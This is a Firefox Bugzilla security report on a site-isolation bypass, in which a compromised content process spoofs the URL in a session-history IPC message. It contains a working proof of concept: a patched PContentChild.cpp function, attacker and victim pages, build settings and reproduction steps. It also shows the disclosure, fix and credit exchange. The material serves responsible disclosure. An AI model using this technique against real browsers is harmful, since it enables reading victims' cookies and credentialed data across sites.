Compromised content process can bypass site isolation (Fission) by spoofing URL in ReplaceActiveSessionHistoryEntry IPC message
Categories
(Core :: DOM: Navigation, defect)
Tracking
()
People
(Reporter: jan.drescher, Assigned: smaug)
References
(Blocks 1 open bug)
Details
(Keywords: reporter-external, sec-high, Whiteboard: [fixed by bug 1905843][client-bounty-form][adv-main131+][adv-esr128.3+][adv-esr115.16+])
Attachments
(5 files, 1 obsolete file)
A compromised content process can spoof the URL in a ReplaceActiveSessionHistoryEntry
message to the parent process to create an origin confusion in the parent process, thus bypassing site isolation.
Cause
The ReplaceActiveSessionHistoryEntry
function offered by the PContentParent
IPC interface allows the content process (PContentChild
) to submit changes to the current history state. It is part of the implementation of the history.replaceState(state, unused, url)
method of the browser API. For security reasons, url
must be valid and same-origin to the current URL. However, this security check is only implemented in the content process. An attacker that has exploited a memory bug in the content process and has achieved RCE can send a malicious IPC message to the parent process, that contains a cross-site URL. This can be achieved by replacing info->mURI
in auto PContentChild::SendReplaceActiveSessionHistoryEntry(const MaybeDiscardedBrowsingContext& context, const SessionHistoryInfo& info) -> bool
(in release/ipc/ipdl/PContentChild.cpp
).
For the following explanation, the website used by the attacker will be https://attacker.com
and the victim website will be https://www.victim.com
.
The malicious ReplaceActiveSessionHistoryEntry
IPC message is processed in mozilla::ipc::IPCResult ContentParent::RecvReplaceActiveSessionHistoryEntry(const MaybeDiscarded<BrowsingContext>& aContext, SessionHistoryInfo&& aInfo)
in dom/ipc/ContentParent.cpp
. There, the function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo)
(docshell/base/CanonicalBrowsingContext.cpp
) is called, which replaces the history state.
By sending a ReplaceActiveSessionHistoryEntry
IPC message with the cross-site URL https://victim.com
and subsequently calling location.reload();
the attacker can trick the browser process to load the cross-site document in the current compromised content process associated with the site https://attacker.com
, thus bypassing site isolation. The attacker still has RCE in the process because the process was not replaced. But the privileged parent process now assigns the site https://victim.com
to the content process. Thus, the attacker can execute JS in the context of victim.com
and for example read the cookies from and send credentialed fetch requests to victim.com
. We assume a compromised content process for this site isolation bypass, which we simulate by patching the content process code.
The function SetActiveSessionHistoryEntry
probably also lacks security checks.
Steps to reproduce (Firefox for Linux)
- Patch the content process code to simulate the compromised renderer process
- checkout and build a current version of Firefox (e.g.,
c00a6f0cea53ee7b285abb8157f764cecc52dd28
) - must not be a debug build, because assertions in the content process detect the bug and crash the process
- replace the method
PContentChild::SendReplaceActiveSessionHistoryEntry
in the generatedPContentChild.cpp
(release/ipc/ipdl/PContentChild.cpp
if the attached mozconfig is used) as outlined in patch.txt or #renderer-patch below. The patch modifies the URL of the transmittedSessionHistoryInfo
.
- checkout and build a current version of Firefox (e.g.,
- Start two HTTP servers, using 127.0.0.1 for the attacker and 127.0.0.2 for the victim
cd attacker && python3 -m http.server --bind 127.0.0.1 8080
hosting attacker.htmlcd victim && python3 -m http.server --bind 127.0.0.2 8080
hosting victim.html
- Browse the attacker website
./mach run http://127.0.0.1:8080/attacker.html
and observe the processes.- in
about:processes
we can observe the attacker process being reused for the victim site - observe that the title of the tab that the victim page is loaded in, still shows the URL of the attacker website
- in
attacker/attacker.html:
<!-- attacker page: http://127.0.0.1:8080/attacker.html --->
<html>
<body>
<h1>Attacker page</h1>
<script>
(async function () {
await window.history.replaceState("foo", "bar", null);
await window.location.reload();
})();
</script>
</body>
</html>
victim/victim.html:
<!-- victim page: http://127.0.0.2:8080/victim.html --->
<html>
<body>
<h1>Victim page</h1>
</body>
</html>
Renderer Patch
Replace a single function in the generated PContentChild.cpp:
// release/ipc/ipdl/PContentChild.cpp
auto PContentChild::SendReplaceActiveSessionHistoryEntry(
const MaybeDiscardedBrowsingContext& context,
const SessionHistoryInfo& info) -> bool
{
UniquePtr<IPC::Message> msg__ = PContent::Msg_ReplaceActiveSessionHistoryEntry(MSG_ROUTING_CONTROL);
IPC::MessageWriter writer__{
(*(msg__)),
this};
// PATCH
SessionHistoryInfo newInfo(info);
nsCOMPtr<nsIURI> uri;
nsresult rv = NS_NewURI(getter_AddRefs(uri), "http://127.0.0.2:8080/victim.html"_ns);
newInfo.SetURI(uri);
IPC::WriteParam((&(writer__)), context);
// Sentinel = 'context'
((&(writer__)))->WriteSentinel(199164678);
IPC::WriteParam((&(writer__)), newInfo);
// Sentinel = 'info'
((&(writer__)))->WriteSentinel(70058413);
if (mozilla::ipc::LoggingEnabledFor("PContent", mozilla::ipc::ChildSide)) {
mozilla::ipc::LogMessageForProtocol(
"PContentChild",
this->ToplevelProtocol()->OtherPidMaybeInvalid(),
"Sending ",
msg__->type(),
mozilla::ipc::MessageDirection::eSending);
}
AUTO_PROFILER_LABEL("PContent::Msg_ReplaceActiveSessionHistoryEntry", OTHER);
bool sendok__ = ChannelSend(std::move(msg__));
return sendok__;
}
mozconfig:
export MOZ_PACKAGE_JSSHELL=1
ac_add_options --with-app-name=firefox
mk_add_options MOZ_APP_NAME=firefox
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/release
# Enable ASan specific code and build workarounds
ac_add_options --enable-address-sanitizer
# These three are required by ASan
ac_add_options --disable-jemalloc
ac_add_options --disable-crashreporter
ac_add_options --disable-elf-hack
# Keep symbols to symbolize ASan traces later
export MOZ_DEBUG_SYMBOLS=1
ac_add_options --enable-debug-symbols
ac_add_options --disable-install-strip
# Settings for an opt build (preferred)
# The -gline-tables-only ensures that all the necessary debug information for ASan
# is present, but the rest is stripped so the resulting binaries are smaller.
ac_add_options --enable-optimize="-O2 -gline-tables-only"
ac_add_options --disable-debug
Affected Versions
Discovered in Firefox Linux Version 121. Reproduced in recent Linux build of bookmarks/central (c00a6f0cea53ee7b285abb8157f764cecc52dd28
). We therefore assume, that all versions since 121 are impacted. Versions before 121 are probably also impacted. Reproduced on Debian Bookworm and Fedora 39 Workstation.
We did not test this on Windows, but since the function that misses a security check is in the part of the code that is not OS-specific, Firefox for Windows is probably also effected.
Fix
The function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo)
(docshell/base/CanonicalBrowsingContext.cpp
) should include a security check, which verifies that aInfo->mURI
is valid and same-origin to the current URL. A content process sending a message that fails this check is probably compromised and should be killed.
Reporter | ||
Comment 1•1 year ago
|
||
Reporter | ||
Comment 2•1 year ago
|
||
Reporter | ||
Comment 3•1 year ago
|
||
Reporter | ||
Updated•1 year ago
|
Reporter | ||
Updated•1 year ago
|
Reporter | ||
Comment 4•1 year ago
|
||
Reporter | ||
Updated•1 year ago
|
Reporter | ||
Updated•1 year ago
|
Reporter | ||
Comment 5•1 year ago
|
||
Git diff view of the content process patch:
diff --git a/PContentChild.cpp b/PContentChild.cpp
index bd752c9a429c..4dba772649cd 100644
--- a/PContentChild.cpp
+++ b/PContentChild.cpp
@@ -7015,31 +7015,37 @@ auto PContentChild::SendSetActiveSessionHistoryEntry(
auto PContentChild::SendReplaceActiveSessionHistoryEntry(
const MaybeDiscardedBrowsingContext& context,
const SessionHistoryInfo& info) -> bool
{
// ASYNC
UniquePtr<IPC::Message> msg__ = PContent::Msg_ReplaceActiveSessionHistoryEntry(MSG_ROUTING_CONTROL);
IPC::MessageWriter writer__{
(*(msg__)),
this};
+ // PATCH
+ SessionHistoryInfo newInfo(info);
+ nsCOMPtr<nsIURI> uri;
+ nsresult rv = NS_NewURI(getter_AddRefs(uri), "http://127.0.0.2:8080/victim.html"_ns);
+ newInfo.SetURI(uri);
+
IPC::WriteParam((&(writer__)), context);
// Sentinel = 'context'
((&(writer__)))->WriteSentinel(199164678);
- IPC::WriteParam((&(writer__)), info);
+ IPC::WriteParam((&(writer__)), newInfo);
// Sentinel = 'info'
((&(writer__)))->WriteSentinel(70058413);
if (mozilla::ipc::LoggingEnabledFor("PContent", mozilla::ipc::ChildSide)) {
mozilla::ipc::LogMessageForProtocol(
"PContentChild",
this->ToplevelProtocol()->OtherPidMaybeInvalid(),
"Sending ",
msg__->type(),
mozilla::ipc::MessageDirection::eSending);
}
AUTO_PROFILER_LABEL("PContent::Msg_ReplaceActiveSessionHistoryEntry", OTHER);
bool sendok__ = ChannelSend(std::move(msg__));
return sendok__;
}
Reporter | ||
Comment 6•1 year ago
|
||
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Assignee | ||
Updated•1 year ago
|
Updated•1 year ago
|
Comment 7•1 year ago
|
||
The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.
Updated•1 year ago
|
Assignee | ||
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 8•1 year ago
|
||
The severity field is not set for this bug.
:hsinyi, could you have a look please?
For more information, please visit BugBot documentation.
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Reporter | ||
Comment 9•1 year ago
|
||
Hey there,
This bug is part of a research effort into the security of site isolation implementations. We want to submit our paper to Usenix Security 2025 on 4th September. In case of acceptance, the paper which would contain information on this bug would become public around end of January 2025.
We wanted to give you a heads-up about this plan, so you have sufficient time to work on a fix.
Assignee | ||
Comment 10•1 year ago
|
||
I am working on a patch, it is just happening elsewhere atm. Need to audit still some code.
Updated•11 months ago
|
Comment 11•11 months ago
|
||
Hey Olli, now that bug 1905843 was fixed, what is the next step for this bug? Thank you.
Assignee | ||
Comment 12•11 months ago
|
||
This should be fixed. I'll retest next week once I'm back home.
Comment 13•11 months ago
|
||
Olli: Could you test it today? We're releasing security advisories in a few hours and our process picked up the fixed bug 1905843. But it looks like insted we should reference this bug and credit Jan Niklas Drescher instead. But that would be awkward if this wasn't actually fixed.
Jan: maybe you could confirm the fix. Nightly sources after https://hg.mozilla.org/mozilla-central/rev/894b18e7cc4f should have the fix.
In a couple of places (for example, comment 9) you mention "we". How should we credit you and your team in an advisory?
Reporter | ||
Comment 14•11 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #13)
Olli: Could you test it today? We're releasing security advisories in a few hours and our process picked up the fixed bug 1905843. But it looks like insted we should reference this bug and credit Jan Niklas Drescher instead. But that would be awkward if this wasn't actually fixed.
Jan: maybe you could confirm the fix. Nightly sources after https://hg.mozilla.org/mozilla-central/rev/894b18e7cc4f should have the fix.
In a couple of places (for example, comment 9) you mention "we". How should we credit you and your team in an advisory?
I will check the patch shortly.
Please credit Jan Drescher and David Klein from IAS, TU Braunschweig.
Reporter | ||
Comment 15•11 months ago
|
||
I patched a nightly build to simulate the compromised content process and tried to reproduce the exploit. I can confirm that the fix works.
The added security check should also prevent similar vulnerabilities from other navigation APIs. This looks great, thank you!
Comment 16•11 months ago
|
||
Thanks for the confirmation!
Assignee | ||
Comment 17•11 months ago
|
||
Thanks for testing. I also just verified this again, and the fix has helped here too as expected.
Assignee | ||
Comment 18•11 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #13)
Olli: Could you test it today?
(I couldn't. I was still on my way back home from TPAC)
Comment 19•11 months ago
|
||
(I couldn't. I was still on my way back home from TPAC)
You did anyway 😀 I asked late Pacific time and meant your today, not my yesterday.
Comment 20•11 months ago
|
||
Note: the bug bounty committee has not met on this issue yet. I added the incomplete attachment early to capture the credit information and the fixed-date from the other bug.
Updated•11 months ago
|
Updated•11 months ago
|
Comment 22•11 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #13)
How should we credit you and your team in an advisory?
I've updated the advisory to credit you and add a reference to this bug. We're going to leave the CVE alias in bug 1905843 because it's more useful for that to accompany the patch.
Updated•11 months ago
|
Updated•5 months ago
|
Description
•